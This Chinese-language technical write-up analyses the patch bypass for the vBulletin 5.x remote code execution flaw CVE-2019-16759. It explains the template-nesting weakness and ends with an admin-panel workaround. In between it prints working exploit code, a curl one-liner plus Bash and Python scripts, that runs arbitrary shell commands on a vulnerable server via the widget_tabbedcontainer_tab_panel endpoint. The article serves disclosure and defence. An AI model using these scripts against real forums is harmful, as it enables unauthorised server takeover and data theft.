漏洞背景
2019年9月23日,一名未公开的研究人员发布了一个影响vBulletin 5.0至5.4版本的PHP远程代码执行漏洞。该漏洞(CVE-2019-16759)被一家知名漏洞经纪商标记为"bugdoor",CVSS 3.x评分为9.8,属于严重级别。
补丁分析
首次补丁(vBulletin 5.5.4 Patch Level 2)
vBulletin在2019年9月25日发布了首个补丁,主要添加了cleanRegistered函数:
1
2
3
4
5
6
7
8
9
|
private function cleanRegistered()
{
$disallowedNames = array('widgetConfig');
foreach($disallowedNames AS $name)
{
unset($this->registered[$name]);
unset(self::$globalRegistered[$name]);
}
}
|
该函数遍历不允许的注册变量列表,在发现时删除其内容。初始列表仅包含一个变量名,即已发布漏洞利用中包含PHP执行代码的变量。
二次补丁(vBulletin 5.5.5)
在下一个版本中,vBulletin添加了更多防护措施:
- 路由检查:
1
2
3
4
5
6
7
8
|
$templateName = $routeInfo[2];
if ($templateName == 'widget_php')
{
$result = array(
'template' => '',
'css_links' => array(),
);
}
|
- 模板运行时检查:
1
2
3
4
5
6
7
8
9
10
11
12
|
public static function evalPhp($code)
{
if (self::currentTemplate() != 'widget_php')
{
return '';
}
ob_start();
eval($code);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
|
漏洞绕过技术
模板系统架构问题
vBulletin模板系统采用特殊语言编写,首先由模板引擎处理,然后输出PHP代码字符串,在"渲染"过程中通过eval()执行。模板可以嵌套在其他模板中,一个模板可以包含多个子模板。
关键绕过模板
widget_tabbedcontainer_tab_panel模板具有两个关键特性:
- 能够加载用户控制的子模板
- 将单独命名的值加载到名为
widgetConfig的变量中
1
2
3
4
5
6
7
8
|
<template name="widget_tabbedcontainer_tab_panel">
<vb:each from="subWidgets" value="subWidget">
{vb:template {vb:raw subWidget.template},
widgetConfig={vb:raw subWidget.config},
widgetinstanceid={vb:raw subWidget.widgetinstanceid}
}
</vb:each>
</template>
|
漏洞利用
单行命令利用
1
|
curl -s http://EXAMPLE.COM/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'
|
Bash利用脚本
1
2
3
|
#!/bin/bash
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'
|
Python利用脚本
1
2
3
4
5
6
7
8
9
|
#!/usr/bin/env python3
import requests
def run_exploit(vb_loc, shell_cmd):
post_data = {'subWidgets[0][template]' : 'widget_php',
'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
}
r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
return r.text
|
临时修复方案
- 进入vBulletin管理员控制面板
- 点击左侧菜单中的"Settings",然后选择"Options"
- 选择"General Settings",点击"Edit Settings"
- 找到"Disable PHP, Static HTML, and Ad Module rendering",设置为"Yes"
- 点击"Save"
此修复将禁用论坛中的PHP小部件,可能会破坏某些功能,但可以在vBulletin发布补丁前保护系统安全。